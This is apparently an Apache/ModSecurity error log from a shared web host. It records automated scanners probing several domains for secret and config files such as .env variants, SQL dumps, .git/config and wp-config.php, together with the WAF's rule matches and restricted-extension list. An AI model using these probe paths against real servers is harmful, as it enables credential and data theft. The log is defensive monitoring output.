[Fri Jul 17 08:27:22.718985 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaEkgVnBK6wAv37w6ooQAAABQ"]
[Fri Jul 17 08:27:22.719428 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaEkgVnBK6wAv37w6ooQAAABQ"]
[Fri Jul 17 08:27:22.720701 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaEnRlmrtCoY_COpciXgAAAAg"]
[Fri Jul 17 08:27:22.721072 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaEnRlmrtCoY_COpciXgAAAAg"]
[Fri Jul 17 08:27:22.721460 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaEnRlmrtCoY_COpciXgAAAAg"]
[Fri Jul 17 08:27:22.783960 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaEol9vhFBGA6D8l92MQAAAAw"]
[Fri Jul 17 08:27:22.786135 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaEol9vhFBGA6D8l92MQAAAAw"]
[Fri Jul 17 08:27:22.786542 2026] [security2:error] [pid 1993572:tid 1993572] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaEol9vhFBGA6D8l92MQAAAAw"]
[Fri Jul 17 08:27:22.827248 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaEoha5y5fYnQ1qRrvkQAAAAE"]
[Fri Jul 17 08:27:22.827567 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaEoha5y5fYnQ1qRrvkQAAAAE"]
[Fri Jul 17 08:27:22.827917 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaEoha5y5fYnQ1qRrvkQAAAAE"]
[Fri Jul 17 08:27:22.852791 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaEuN_HRgVfO4akvmJhgAAABg"]
[Fri Jul 17 08:27:22.853240 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaEuN_HRgVfO4akvmJhgAAABg"]
[Fri Jul 17 08:27:22.853627 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/data.sql"] [unique_id "almaEuN_HRgVfO4akvmJhgAAABg"]
[Fri Jul 17 08:27:22.869664 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaEnRlmrtCoY_COpciXwAAAAg"]
[Fri Jul 17 08:27:22.869971 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaEnRlmrtCoY_COpciXwAAAAg"]
[Fri Jul 17 08:27:22.870430 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaEnRlmrtCoY_COpciXwAAAAg"]
[Fri Jul 17 08:27:22.889897 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEgPhWp7RzB65h36elgAAAA0"]
[Fri Jul 17 08:27:22.890153 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEgPhWp7RzB65h36elgAAAA0"]
[Fri Jul 17 08:27:22.890519 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaEgPhWp7RzB65h36elgAAAA0"]
[Fri Jul 17 08:27:23.097795 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:23.098317 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaEhAi3pC6yjXGNq19IQAAAAU"]
[Fri Jul 17 08:27:23.108252 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaE-N_HRgVfO4akvmJhwAAABg"]
[Fri Jul 17 08:27:23.108525 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaE-N_HRgVfO4akvmJhwAAABg"]
[Fri Jul 17 08:27:23.108931 2026] [security2:error] [pid 2013828:tid 2013828] [client 32.192.41.111:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaE-N_HRgVfO4akvmJhwAAABg"]
[Fri Jul 17 08:27:23.194543 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaE3RlmrtCoY_COpciYAAAAAg"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:27:23.194587 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaE3RlmrtCoY_COpciYAAAAAg"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:27:23.251451 2026] [proxy_fcgi:error] [pid 2008451:tid 2008451] [client 32.192.41.111:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:23.798963 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:23.824034 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:24.583668 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.200.134.184:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "tfab.lk"] [uri "/wp-config.php"] [unique_id "almaFKhgWo8idb8AQWuZ5QAAABs"]
[Fri Jul 17 08:27:24.583963 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tfab.lk"] [uri "/wp-config.php"] [unique_id "almaFKhgWo8idb8AQWuZ5QAAABs"]
[Fri Jul 17 08:27:24.584305 2026] [security2:error] [pid 2013831:tid 2013831] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tfab.lk"] [uri "/wp-config.php"] [unique_id "almaFKhgWo8idb8AQWuZ5QAAABs"]
[Fri Jul 17 08:27:24.943146 2026] [security2:error] [pid 2013828:tid 2013828] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-global": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almaE-N_HRgVfO4akvmJiAAAABg"]
[Fri Jul 17 08:27:24.943183 2026] [security2:error] [pid 2013828:tid 2013828] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-ip": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almaE-N_HRgVfO4akvmJiAAAABg"]
[Fri Jul 17 08:27:25.200318 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.200.134.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "tfab.lk"] [uri "/db.sql"] [unique_id "almaFV2NhE8i6ppze4etqgAAAAs"]
[Fri Jul 17 08:27:25.200841 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tfab.lk"] [uri "/db.sql"] [unique_id "almaFV2NhE8i6ppze4etqgAAAAs"]
[Fri Jul 17 08:27:25.201283 2026] [security2:error] [pid 1994446:tid 1994446] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tfab.lk"] [uri "/db.sql"] [unique_id "almaFV2NhE8i6ppze4etqgAAAAs"]
[Fri Jul 17 08:27:25.236718 2026] [security2:error] [pid 1993574:tid 1993574] [client 44.200.134.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "tfab.lk"] [uri "/data.sql"] [unique_id "almaFd0t9Kb_MdNxrg6-lwAAAAM"]
[Fri Jul 17 08:27:25.237291 2026] [security2:error] [pid 1993574:tid 1993574] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tfab.lk"] [uri "/data.sql"] [unique_id "almaFd0t9Kb_MdNxrg6-lwAAAAM"]
